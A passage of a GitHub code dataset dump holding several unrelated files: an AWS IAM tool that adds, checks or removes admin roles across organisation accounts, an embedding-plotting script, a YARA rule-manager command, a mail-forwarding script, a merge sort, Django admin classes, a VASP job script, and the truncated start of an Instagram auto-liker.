session_iam.client('iam')\n\ttry:\n\t\tresponse = client_iam.create_role(RoleName=frole, AssumeRolePolicyDocument=Trust_Policy_json)\n\t\tlogging.info(\"Successfully created the blank role %s in account %s\", frole, ocredentials['AccountId'])\n\texcept client_iam.exceptions.LimitExceededException as my_Error:\n\t\tErrorMessage = f\"Limit Exceeded: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.InvalidInputException as my_Error:\n\t\tErrorMessage = f\"Invalid Input: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.EntityAlreadyExistsException as my_Error:\n\t\tErrorMessage = f\"Role already exists: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.MalformedPolicyDocumentException as my_Error:\n\t\tErrorMessage = f\"Malformed role policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.ConcurrentModificationException as my_Error:\n\t\tErrorMessage = f\"Concurrent operations: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.ServiceFailureException as my_Error:\n\t\tErrorMessage = f\"Service Failure: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\n\ttry:\n\t\tresponse1 = client_iam.attach_role_policy(RoleName=frole, PolicyArn=AdminPolicy)\n\t\tprint(f\"{ERASE_LINE}We've successfully added the role{Fore.GREEN} {frole} {Fore.RESET}to account\"\n\t\t\t f\"{Fore.GREEN} {ocredentials['AccountId']} {Fore.RESET}with admin rights, \"\n\t\t\t f\"trusting the Management Account {Fore.GREEN}{ocredentials['MgmtAccount']}{Fore.RESET} \"\n\t\t\t f\"in profile {Fore.GREEN}{ocredentials['ParentProfile']}{Fore.RESET}.\")\n\texcept client_iam.exceptions.NoSuchEntityException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.LimitExceededException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.InvalidInputException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.UnmodifiableEntityException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.PolicyNotAttachableException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept client_iam.exceptions.ServiceFailureException as my_Error:\n\t\tErrorMessage = f\"No such policy: {my_Error}\"\n\t\tlogging.error(ErrorMessage)\n\t\treturn_response = {'Success': False, 'ErrorMessage': ErrorMessage}\n\texcept ClientError as my_Error:\n\t\tif my_Error.response['Error']['Code'] == 'EntityAlreadyExists':\n\t\t\tprint(f\"Role {frole} already exists in account {ocredentials['AccountId']}. Skipping.\")\n\t\tprint(my_Error)\n\t\tpass\n\n\ndef removerole(ocredentials, frole):\n\timport boto3\n\t\"\"\"\n\tocredentials is an object with the following structure:\n\t\t- ['AccessKeyId'] holds the AWS_ACCESS_KEY\n\t\t- ['SecretAccessKey'] holds the AWS_SECRET_ACCESS_KEY\n\t\t- ['SessionToken'] holds the AWS_SESSION_TOKEN\n\t\t- ['AccountId'] holds the account number you're connecting to\n\t\"\"\"\n\treturn_response = {'Success': False, 'ErrorMessage': ''}\n\tsession_iam = boto3.Session(\n\t\taws_access_key_id=ocredentials['AccessKeyId'],\n\t\taws_secret_access_key=ocredentials['SecretAccessKey'],\n\t\taws_session_token=ocredentials['SessionToken']\n\t)\n\n\tclient_iam = session_iam.client('iam')\n\tAdminPolicy = 'arn:aws:iam::aws:policy/AdministratorAccess'\n\n\ttry:\n\t\t# We need to list the policies attached (whether inline or managed)\n\t\t# TODO: Both of these calls below should allow for pagination\n\t\tattached_managed_policies = client_iam.list_attached_role_policies(RoleName=frole)\n\t\t\"\"\"\n\t\t{\n\t 'AttachedPolicies': [\n\t {\n\t 'PolicyName': 'string',\n\t 'PolicyArn': 'string'\n\t },\n\t ],\n\t 'IsTruncated': True|False,\n\t 'Marker': 'string'\n\t\t}\n\t\t\"\"\"\n\n\t\tattached_inline_policies = client_iam.list_role_policies(RoleName=frole)\n\t\t\"\"\"\n\t\t{\n\t 'PolicyNames': [\n\t 'string',\n\t ],\n\t 'IsTruncated': True|False,\n\t 'Marker': 'string'\n\t\t}\n\t\t\"\"\"\n\n\t\t# Then we need to detach/ delete the policy we find\n\t\tfor managed_policy in attached_managed_policies['AttachedPolicies']:\n\t\t\ttry:\n\t\t\t\tresponse1 = client_iam.detach_role_policy(\n\t\t\t\t\tRoleName=frole,\n\t\t\t\t\tPolicyArn=managed_policy['PolicyArn']\n\t\t\t\t)\n\t\t\t\tlogging.info(f\"Successfully removed the managed policy {managed_policy['PolicyName']} from role {frole}\")\n\t\t\t\treturn_response['Success'] = True\n\t\t\texcept (client_iam.exceptions.NoSuchEntityException,\n\t\t\t\t\tclient_iam.exceptions.InvalidInputException,\n\t\t\t\t\tclient_iam.exceptions.ServiceFailureException) as my_Error:\n\t\t\t\tlogging.error(f\"Error Message: {my_Error}\")\n\t\t\t\treturn_response['ErrorMessage'] = str(my_Error)\n\t\t\t\treturn_response['Success'] = False\n\t\t\tif return_response['Success']:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\treturn (return_response)\n\n\t\tfor inline_policy in attached_inline_policies['PolicyNames']:\n\t\t\ttry:\n\t\t\t\tinline_role_deletion = client_iam.delete_role_policy(\n\t\t\t\t\tRoleName=frole,\n\t\t\t\t\tPolicyName=inline_policy\n\t\t\t\t)\n\t\t\t\tlogging.info(f\"Successfully removed the inline policy {inline_policy} from role {frole}\")\n\t\t\t\treturn_response['Success'] = True\n\t\t\texcept (client_iam.exceptions.NoSuchEntityException,\n\t\t\t\t\tclient_iam.exceptions.LimitExceededException,\n\t\t\t\t\tclient_iam.exceptions.UnmodifiableEntityException,\n\t\t\t\t\tclient_iam.exceptions.ServiceFailureException) as my_Error:\n\t\t\t\tlogging.error(f\"Error Message: {my_Error}\")\n\t\t\t\treturn_response['ErrorMessage'] = str(my_Error)\n\t\t\t\treturn_response['Success'] = False\n\t\t\tif return_response['Success']:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\treturn (return_response)\n\n\t\t# Only then we can we delete the role\n\t\ttry:\n\t\t\tresponse = client_iam.delete_role(RoleName=frole)\n\t\t\tlogging.info(f\"Successfully removed the role {frole}\")\n\t\t\treturn_response['Success'] = True\n\t\texcept (client_iam.exceptions.NoSuchEntityException,\n\t\t\t\tclient_iam.exceptions.DeleteConflictException,\n\t\t\t\tclient_iam.exceptions.LimitExceededException,\n\t\t\t\tclient_iam.exceptions.UnmodifiableEntityException,\n\t\t\t\tclient_iam.exceptions.ConcurrentModificationException,\n\t\t\t\tclient_iam.exceptions.ServiceFailureException) as my_Error:\n\t\t\tlogging.error(f\"Error Message: {my_Error}\")\n\t\t\treturn_response['ErrorMessage'] = str(my_Error)\n\t\t\treturn_response['Success'] = False\n\t\t\tif return_response['Success']:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\treturn (return_response)\n\n\t\tprint(f\"{ERASE_LINE}We've successfully removed the role{Fore.GREEN} {frole} {Fore.RESET}\"\n\t\t\t f\"from account{Fore.GREEN} {ocredentials['AccountId']} {Fore.RESET}\")\n\texcept ClientError as my_Error:\n\t\tprint(my_Error)\n\t\tpass\n\n\ndef roleexists(ocredentials, frole):\n\timport boto3\n\n\tsession_iam = boto3.Session(\n\t\taws_access_key_id=ocredentials['AccessKeyId'],\n\t\taws_secret_access_key=ocredentials['SecretAccessKey'],\n\t\taws_session_token=ocredentials['SessionToken']\n\t)\n\n\tclient_iam = session_iam.client('iam')\n\ttry:\n\t\tlogging.info(f\"{ERASE_LINE}Checking Account {ocredentials['AccountId']} for Role {frole}\")\n\t\tresponse = client_iam.get_role(RoleName=frole)\n\t\treturn (True)\n\texcept ClientError as my_Error:\n\t\tif (my_Error.response['Error']['Code']) == 'NoSuchEntity':\n\t\t\tlogging.warning(\"Role %s doesn't exist in account %s\", frole, ocredentials['AccountId'])\n\treturn (False)\n\n\ndef get_credentials(fProfileList, fSkipAccounts, fRootOnly, fAccounts, fRegionList, fRolesToUse):\n\t\"\"\"\n\tfProfiles: This is a list (0..n) of profiles to be searched through\n\tfSkipAccounts: This is a list (0..n) of accounts that shouldn't be checked or impacted\n\tfRootOnly: This is a flag (True/ False) as to whether this script should impact this account only, or the Child accounts as well\n\tfAccounts: This is a list (0..n) of Account Numbers which this script should be limited to\n\tfRegionList: This is a list (1..n) of regions which this script should be run against.\n\tfRolesToUse: This is a list (0..n) of roles to try to access the child accounts, assuming the role used isn't a commonly used one.\n\t\tCommonly Used roles: [OrganizationAccountAccessRole, AWSCloudFormationStackSetExecutionRole, AWSControlTowerExecution, Owner]\n\n\tReturned Values:\n\tAccountList: A list of dictionaries, containing information about the accounts themselves - created by the \"ChildAccounts\" function of aws_acct_access from the account_class\n\tAllCredentials: A list of dictionaries of all the info and credentials for all child accounts, including those that we weren't able to get credentials for.\n\t\"\"\"\n\tAccountList = []\n\tAllCredentials = []\n\n\tif pProfiles is None: # Default use case from the classes\n\t\tprint(\"Using the default profile - gathering info\")\n\t\taws_acct = aws_acct_access()\n\t\tRegionList = Inventory_Modules.get_regions3(aws_acct, fRegionList)\n\t\t# This should populate the list \"AllCreds\" with the credentials for the relevant accounts.\n\t\tlogging.info(f\"Queueing default profile for credentials\")\n\t\tprofile = 'default'\n\t\tAllCredentials.extend(get_credentials_for_accounts_in_org(aws_acct, fSkipAccounts, fRootOnly, fAccounts, profile, RegionList, fRolesToUse))\n\t\t# TODO: There's a use-case here where oen of more of the accounts in 'fAccounts' doesn't show up in the list of accounts found by the profiles specified\n\t\t# \tIn that case - it would be nice if this script pointed that out. Right now - it does not, yet.\n\t\tAccountList = aws_acct.ChildAccounts\n\telse:\n\t\tprint(f\"Capturing info for {len(ProfileList)} requested profiles {ProfileList}\")\n\t\tfor profile in fProfileList:\n\t\t\t# Eventually - getting credentials for a single account may require passing in the region in which it's valid, but not yet.\n\t\t\ttry:\n\t\t\t\taws_acct = aws_acct_access(profile)\n\t\t\t\tprint(f\"Validating {len(aws_acct.ChildAccounts)} accounts within {profile} profile now... \")\n\t\t\t\tRegionList = Inventory_Modules.get_regions3(aws_acct, fRegionList)\n\t\t\t\tlogging.info(f\"Queueing {profile} for credentials\")\n\t\t\t\t# This should populate the list \"AllCredentials\" with the credentials for the relevant accounts.\n\t\t\t\tAllCredentials.extend(get_credentials_for_accounts_in_org(aws_acct, fSkipAccounts, fRootOnly, fAccounts, profile, RegionList, fRolesToUse))\n\t\t\t\tAccountList.extend(aws_acct.ChildAccounts)\n\t\t\texcept AttributeError as my_Error:\n\t\t\t\tlogging.error(f\"Profile {profile} didn't work... Skipping\")\n\t\t\t\tcontinue\n\treturn (AllCredentials, AccountList)\n\n\n##########################\n\nERASE_LINE = '\\x1b[2K'\n\nif pTiming:\n\tbegin_time = time()\n\nAllCredentials = []\nAccountList = []\nRegionList = ['us-east-1']\nResults = []\n\nProfileList = Inventory_Modules.get_profiles(fSkipProfiles=pSkipProfiles, fprofiles=pProfiles)\n\nAllCredentials, AccountList = get_credentials(ProfileList, pSkipAccounts, pRootOnly, pAccounts, RegionList, pRoleToUse)\nAccountNum = len(set([acct['AccountId'] for acct in AllCredentials if 'AccountId' in acct]))\n\nprint()\nUpdatedAccounts = 0\n\n# If the user specified only one account to check, and that account isn't found within the credentials found, this line will alert them of that fact.\n# However, if they specified multiple accounts to check, and SOME of them appeared, then they won't be notified of the ones that did NOT appear\nif not AllCredentials:\n\t# print(f\"{Fore.RED}The account{'' if len(pAccounts) == 1 else 's'} you requested to check {pAccounts} doesn't appear to be within the profiles you specified.{Fore.RESET}\")\n\tprint(f\"{Fore.RED}The account you requested to check '{pAccounts}' doesn't appear to be within the profiles you specified.{Fore.RESET}\")\n\nfor cred in AllCredentials:\n\t# account_credentials = Inventory_Modules.get_child_access3(aws_acct, cred['AccountId'], fRoleList=pRolesToUse)\n\tif not cred['Success']:\n\t\tprint(f\"Something failed in getting credentials for account {cred['AccountId']}\\n\"\n\t\t\t f\"We tried this list of roles '{cred['RolesTried']}', but none worked\\n\"\n\t\t\t f\"Error Message: {cred['ErrorMessage']}\")\n\t\tcontinue\n\t# print(f\"Checking account {cred['AccountId']} using role {cred['Role']}\", end='\\r')\n\tif cred['Role'] == pRoleNameToRemove:\n\t\tprint(f\"{Fore.RED}We gained access to this account using the role you specified to remove.\\n\"\n\t\t\t f\"Is this definitely what you want to do?{Fore.RESET}\")\n\t# Checking to see if the role already exists\n\tif pRoleNameToCheck is not None:\n\t\tlogging.info(f\"Checking to see if role {pRoleNameToCheck} exists in account {cred['AccountId']}\")\n\t\tif roleexists(cred, pRoleNameToCheck):\n\t\t\tResults.append({'AccountId': cred['AccountId'], 'Role': pRoleNameToCheck, 'Result': 'Role Exists'})\n\t\t\tUpdatedAccounts += 1\n\t\telse:\n\t\t\tResults.append({'AccountId': cred['AccountId'], 'Role': pRoleNameToCheck, 'Result': 'Nonexistent Role'})\n\t# If we're supposed to add the role and it already exists\n\telif pRoleNameToAdd is not None and roleexists(cred, pRoleNameToAdd):\n\t\tlogging.warning(f\"Role {pRoleNameToAdd} already exists\")\n\t\tcontinue\n\t# If we're supposed to remove the role and the role exists AND it's not the role we used to access the cred\n\telif pRoleNameToRemove is not None and roleexists(cred, pRoleNameToRemove) and not (cred['Role'] == pRoleNameToAdd):\n\t\tlogging.warning(f\"Removing role {pRoleNameToRemove} from account {cred['AccountId']}\")\n\t\tremoverole(cred, pRoleNameToRemove)\n\t\tResults.append({'AccountId': cred['AccountId'], 'Role': pRoleNameToRemove, 'Result': 'Role Removed'})\n\t\tUpdatedAccounts += 1\n\t# If we're supposed to add the role\n\telif pRoleNameToAdd is not None:\n\t\tcreaterole(cred, pRoleNameToAdd)\n\t\tResults.append({'AccountId': cred['AccountId'], 'Role': pRoleNameToAdd, 'Result': 'Role Created'})\n\t\tUpdatedAccounts += 1\n\nsorted_Results = sorted(Results, key=lambda d: (d['AccountId']))\nprint()\n# if verbose < 50:\n# \tprint(f\"You supplied profiles including the following {len(AccountList)} accounts: {[item['AccountId'] for item in AccountList]}\")\nprint()\nif pAccounts is not None:\n\tprint(f\"You asked to check account{'' if len(pAccounts) == 1 else 's'} {pAccounts} under your supplied profiles\")\nelse:\n\tprint(f\"We found {AccountNum} accounts provided within the profiles you provided\")\n\tif verbose < 50:\n\t\tprint(f\"Of these, we successfully found creds for {len(Results)} accounts using \", end='')\n\t\tif pRoleToUse:\n\t\t\tprint(f\"the roles '{pRoleToUse}' you supplied\")\n\t\telse:\n\t\t\tprint(f\"the roles we commonly use for access\")\n\nMissingAccounts = [item['AccountId'] for item in AllCredentials if not item['Success']]\nif len(MissingAccounts) > 0:\n\tprint()\n\tprint(f\"{Fore.RED}We were unsuccessful when checking the following {len(MissingAccounts)} accounts: {MissingAccounts}{Fore.RESET}\")\n\tlogging.warning(f\"List of failed accounts:\")\n\tfor item in AllCredentials:\n\t\tlogging.error(f\"\\t\\t{item['AccountId']}\")\n\t\tlogging.warning(f\"\\t\\t\\tRoles Tried: {item['RolesTried']}\")\n\t\tlogging.info(f\"\\t\\t\\t\\tRegions: {item['Region']}\")\n\nif pRoleNameToCheck is not None:\n\tprint(f\"We found {UpdatedAccounts} accounts that included the '{pRoleNameToCheck}' role\")\n\tif verbose <= 40:\n\t\tfor i in sorted_Results:\n\t\t\tprint(f\"\\tLooking for role '{i['Role']}' in Account '{i['AccountId']}': {i['Result']}\")\n\t\t# MissingAccounts = [item['AccountId'] for item in Results if not (item['Result'] == 'Role Exists')]\n\t\t# if len(MissingAccounts) > 0:\n\t\t# \tprint(f\"{Fore.RED}We didn't find {pRoleNameToCheck} in the following accounts: {MissingAccounts}{Fore.RESET}\")\nelif pRoleNameToAdd is not None:\n\tprint(f\"We updated {UpdatedAccounts} accounts to add the {pRoleNameToAdd} role\")\nelif pRoleNameToRemove is not None:\n\tprint(f\"We updated {UpdatedAccounts} accounts to remove the {pRoleNameToRemove} role\")\n\nif pTiming:\n\tprint(ERASE_LINE)\n\tprint(f\"{Fore.GREEN}This script took {time() - begin_time:.2f} seconds{Fore.RESET}\")\n\nprint()\nprint(\"Thanks for using the tool.\")\nprint()\n","repo_name":"paulbayer/Inventory_Scripts","sub_path":"UpdateRoleToMemberAccounts.py","file_name":"UpdateRoleToMemberAccounts.py","file_ext":"py","file_size_in_byte":18933,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"23"} +{"seq_id":"20633486621","text":"'''\nQuesto può essere diviso in quanti task mi pare...\nIl numero di task == numero di \"epoche\"\nSplit senza intersezione e lasciando val e test invariati\nQua posso provare tutte le loss che voglio\n\n'''\nimport copy\n\nimport numpy\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom matplotlib import pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\nfrom sklearn.metrics import accuracy_score, f1_score, roc_auc_score, precision_score, recall_score, \\\n precision_recall_curve\nfrom torch import nn, optim\nfrom torch.optim.lr_scheduler import ExponentialLR\nfrom tqdm import tqdm\n\nfrom HeatMapPlotter import heatmap, annotate_heatmap\nfrom Trainer import Trainer\nfrom health_multimodal.text.utils import get_cxr_bert_inference\nfrom models import myLinearModel\n\nseed_value = 27\ntorch.manual_seed(seed_value)\nimport random\n\nrandom.seed(seed_value)\nnp.random.seed(seed_value)\n\nfrom DataRetrieval import create_prompts, basic_create_prompts\n\n\ndef get_pos_neg_text_emb(label_name):\n pos_prompt = prompts[label_name][\"positive\"]\n neg_prompt = prompts[label_name][\"negative\"]\n\n pos_prompt_embedding = bert.get_embeddings_from_prompt(pos_prompt, normalize=False)\n assert pos_prompt_embedding.shape[0] == len(pos_prompt)\n # if multiple_prompts:\n pos_prompt_embedding = pos_prompt_embedding.mean(dim=0)\n pos_prompt_embedding = F.normalize(pos_prompt_embedding, dim=0, p=2).to(device)\n\n neg_prompt_embedding = bert.get_embeddings_from_prompt(neg_prompt, normalize=False)\n assert neg_prompt_embedding.shape[0] == len(neg_prompt)\n # if multiple_prompts:\n neg_prompt_embedding = neg_prompt_embedding.mean(dim=0)\n neg_prompt_embedding = F.normalize(neg_prompt_embedding, dim=0, p=2).to(device)\n\n return pos_prompt_embedding, neg_prompt_embedding\n\n\nif __name__ == '__main__':\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n print(\"running on:\", device)\n\n class_list = [\"Atelectasis\", \"Cardiomegaly\", \"Consolidation\", \"Edema\", \"Pleural Effusion\"]\n '''\n Atelectasis: ATEL\n Cardiomegaly: CMG\n Consolidation: CONS\n Edema: EDE\n Pleural Effusion: PLEF\n '''\n abbrevviations = [\"ATEL-pos\", \"ATEL-neg\", \"CMG-pos\", \"CMG-neg\", \"CONS-pos\", \"CONS-neg\",\n \"EDE-pos\", \"EDE-neg\", \"PLEF-pos\", \"PLEF-neg\"]\n\n bert = get_cxr_bert_inference()\n multiple_prompts = True\n if multiple_prompts:\n prompts = create_prompts(class_list)\n else:\n prompts = basic_create_prompts(class_list)\n\n embeddings = []\n # colors = ['r', 'g', 'b', 'c', 'm', 'y', 'k', 'w', 'orange', 'purple']\n # colors = ['r', 'r', 'g', 'g', 'b', 'b', 'c', 'c', 'm', 'm']\n # shapes = ['o', 's', 'v', '^', '*', '+', 'x', 'D', 'p', 'h']\n shapes = ['o', 'v', 'o', 'v', 'o', 'v', 'o', 'v', 'o', 'v']\n class_groups = {0: 0, 1: 0, 2: 1, 3: 1, 4: 2, 5: 2, 6: 3, 7: 3, 8: 4, 9: 4}\n group_colors = ['r', 'g', 'b', 'c', 'm']\n colors = [group_colors[class_groups[i]] for i in range(10)]\n\n for label_name in class_list:\n pos_emb, neg_emb = get_pos_neg_text_emb(label_name)\n embeddings.append(pos_emb)\n embeddings.append(neg_emb)\n\n embeddings = torch.stack(embeddings).cpu()\n\n # perform PCA on the embeddings to reduce them to 2 dimensions\n pca = PCA(n_components=2)\n reduced_embeddings = pca.fit_transform(embeddings)\n # plot the reduced embeddings\n for i in range(10):\n plt.scatter(reduced_embeddings[i, 0], reduced_embeddings[i, 1], marker=shapes[i], c=colors[i], label=f'class{i}')\n plt.title(\"PCA multiple-prompts\")\n legend_categories = {'r': 'ATEL', 'g': 'CMG', 'b': 'CONS', 'c': 'EDE', 'm': 'PLEF'}\n legend_shapes = {'o': 'Positive', 'v': 'Negative'}\n handles = []\n for color, category in legend_categories.items():\n handles.append(\n plt.Line2D([0], [0], marker='o', color='w', label=category, markerfacecolor=color, markersize=10))\n for shape, label in legend_shapes.items():\n handles.append(plt.Line2D([0], [0], marker=shape, color='w', label=label, markerfacecolor='k', markersize=10))\n plt.legend(handles=handles)\n plt.show()\n\n\n # perform t-SNE on the embeddings to reduce them to 2 dimensions\n tsne = TSNE(n_components=2, metric=\"euclidean\")\n reduced_embeddings = tsne.fit_transform(embeddings)\n # plot the reduced embeddings\n for i in range(10):\n plt.scatter(reduced_embeddings[i, 0], reduced_embeddings[i, 1], marker=shapes[i], c=colors[i], label=f'class{i}')\n plt.title(\"t-SNE multiple-prompts\")\n handles = []\n for color, category in legend_categories.items():\n handles.append(\n plt.Line2D([0], [0], marker='o', color='w', label=category, markerfacecolor=color, markersize=10))\n for shape, label in legend_shapes.items():\n handles.append(plt.Line2D([0], [0], marker=shape, color='w', label=label, markerfacecolor='k', markersize=10))\n plt.legend(handles=handles)\n plt.show()","repo_name":"marcomistretta/incremental_multimodal_medical_learning_II","sub_path":"plot_text_emebeddings.py","file_name":"plot_text_emebeddings.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"10428350316","text":"import click\nfrom rich.console import Console\nfrom rich.table import Table\n\nfrom yaramanager.db.base import Tag\nfrom yaramanager.db.session import get_session\n\n\n@click.command(help=\"Show tags and the number of tagged rules\")\n@click.option(\"-r\", \"--reverse\", is_flag=True, help=\"Reverse the order.\")\n@click.option(\"-l\", \"--limit\", type=int, help=\"Limit amount of rows.\")\ndef tags(reverse, limit):\n c, ec = Console(), Console(stderr=True, style=\"bold red\")\n session = get_session()\n tags = session.query(Tag).all()\n if len(tags) == 0:\n ec.print(\"No tags available.\")\n exit(-1)\n\n sorted_tags = []\n for tag in tags:\n sorted_tags.append((tag.name, len(tag.rules)))\n\n sorted_tags.sort(key=lambda x: x[1], reverse=(not reverse))\n table = Table()\n table.add_column(\"Tag\")\n table.add_column(\"Rule count\")\n for tag in sorted_tags[:limit]:\n table.add_row(tag[0], str(tag[1]))\n c.print(table)\n","repo_name":"3c7/yaramanager","sub_path":"yaramanager/commands/tags.py","file_name":"tags.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"23"} +{"seq_id":"3035517466","text":"import sys, urllib, traceback\n\nMAXSIZE = 0\nHOSTNAME = u'%(HOSTNAME)s'\n\n\ndef main(argv):\n file = open('/tmp/mailtransport.log', 'ab')\n\n if len(argv) > 1:\n host = argv[1]\n else:\n host = HOSTNAME\n\n url = host+'/mailinTransport'\n\n print >> file, url\n\n email = sys.stdin.read()\n\n print >> file, email\n\n if (MAXSIZE>0) and (len(email) > MAXSIZE):\n raise Exception('Maximum size exceeded.')\n\n try:\n t = urllib.urlopen(url, urllib.urlencode({'mail': email}))\n print >> file, t.read()\n except:\n traceback.print_exc(file=file)\n pass\n\n print >> file, 'done -----------------'\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"Zojax/zojax.mailin","sub_path":"src/zojax/mailin/mailloader.py","file_name":"mailloader.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"70179989819","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/4/21 13:33\n# @Author : haojie zhang\n\n\ndef merge(nums, low, mid, high):\n tmp = []\n i, j = low, mid + 1\n while i <= mid and j <= high:\n if nums[i] <= nums[j]:\n tmp.append(nums[i])\n i += 1\n else:\n tmp.append(nums[j])\n j += 1\n tmp += nums[i:mid + 1]\n tmp += nums[j:high + 1]\n nums[low:high + 1] = tmp\n\n\ndef mergeSort(nums, low, high):\n if low >= high:\n return\n mid = low + (high - low) // 2\n mergeSort(nums, low, mid)\n mergeSort(nums, mid + 1, high)\n merge(nums, low, mid, high)\n\n\nnums = [1, 1, 4, 3, 2, 1, 5, 9, 0]\nmergeSort(nums, 0, len(nums) - 1)\nprint(nums)","repo_name":"TayeeChang/algorithm","sub_path":"排序类/mergeSort.py","file_name":"mergeSort.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"70860529659","text":"from django.contrib import admin\nfrom .models import Author, Book\n# Register your models here.\n\n\n@admin.register(Book)\nclass BookAdmin(admin.ModelAdmin):\n \"\"\"Книги\"\"\"\n list_display = (\"title\", \"year\", \"country\")\n list_filter = (\"title\", \"author\", \"country\")\n search_fields = (\"title\", \"author\")\n fieldsets = (\n (None, {\n \"fields\": ((\"title\", \"year\"),)\n }),\n (None, {\n \"fields\": (\"description\", \"poster\")\n }),\n (None, {\n \"fields\": ((\"author\",),)\n }),\n )\n\n\n@admin.register(Author)\nclass AuthorAdmin(admin.ModelAdmin):\n \"\"\"Авторы\"\"\"\n list_display = (\"name\", \"age\", \"url\")\n list_filter = (\"name\", \"age\",)\n search_fields = (\"name\",)\n fieldsets = (\n (None, {\n \"fields\": ((\"name\", \"age\"),)\n }),\n (None, {\n \"fields\": (\"description\", \"url\")\n }),\n )\n","repo_name":"artemzaharov/bamazon","sub_path":"bamazon/books/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"72660509180","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#SBATCH -p high\n#SBATCH --job-name=opt_try\n#SBATCH --output=job.out\n#SBATCH --error=job.err\n#SBATCH --time=24:00:00\n#SBATCH --nodes=1\n#SBATCH --ntasks-per-node=16\n#SiBATCH --exclusive\n\n\"\"\"\nCreated on Thu Mar 26 17:10:56 2020\n\n@author: ark245\n\"\"\"\nimport os, sys\nsys.path.insert(0,'/home/tdprice/tests/kultools/')\nfrom ase import io\nfrom kul_tools import KulTools as KT\nimport numpy as np\n\n#what is gamma_only\n#\natoms = io.read('0.1/opt_300_444/CONTCAR')\natoms.pbc=True\n\nTE = []\nSIGMA = [0.2, 0.5]\n\nfor sigma in SIGMA:\n cwd = os.getcwd()\n if not os.path.exists(str(sigma)):\n os.makedirs(str(sigma))\n os.chdir(str(sigma))\n kt = KT(gamma_only=False,structure_type='metal')\n kt.set_calculation_type('opt')\n kt.set_structure(atoms)\n\n kt.set_overall_vasp_params({'gga':'RP' , 'ivdw': 0, 'encut': 300, 'kpts':(4,4,4),'sigma':sigma})\n atoms = kt.run()\n atoms = io.read('opt' + '_' + str(300) + '_' + '444' + '/CONTCAR')\n# TE.append(atoms.get_potential_energy())\n atoms.pbc=True\n os.chdir(cwd)\n\n","repo_name":"tdprice-858/Pt-MgO","sub_path":"code/02_submit_job_sigma.py","file_name":"02_submit_job_sigma.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"30267684042","text":"from splinter import Browser\nimport time\n\n\n# script to automate liking on instagram\n# arloemerson@gmail.com\n# \n#\n# this version adds a blacklist filter so you don't annoy your friends \n# and don't like pug pictures, etc.\n# dec 30, 2016\n\nclass InstaLiker():\n\n\t# constructor\n\tdef __init__(self):\n\t\tself.mUrl = \"https://www.instagram.com/\"\n\t\tself.cycles = 4\n\t\tself.browser = Browser()\n\t\tself.username = \"xxxxxxxxxxxxxxxxxx\"\n\t\tself.pw = 'xxxxxxxxxxxxxxxx\\r'\n\t\tself.totalLikes = 0\n\t\tself.blackList = [\"make a list of users to exclude\", \"including your own username\" ]\n\n\t# scroll the page and\n\t# do the liking\n\tdef launchPage(self):\n\t\tself.browser.visit(self.mUrl)\n\t\tself.login()\n\n\t\tself.scrollBy()\n\t\tfor i in range(0, self.cycles):\n\t\t\tself.likePosts()\n\n\t\tprint(\"just liked \" + str(self.totalLikes) + \" pix...Yay!\")\t\t\n\n\tdef login(self):\n\t\tprint(\"login\")\n\t\tprint(\"logging in as \" + self.username)\n\t\tself.browser.click_link_by_text('Log in')\n\t\tself.browser.fill('username', self.username)\n\t\tself.browser.fill('password', 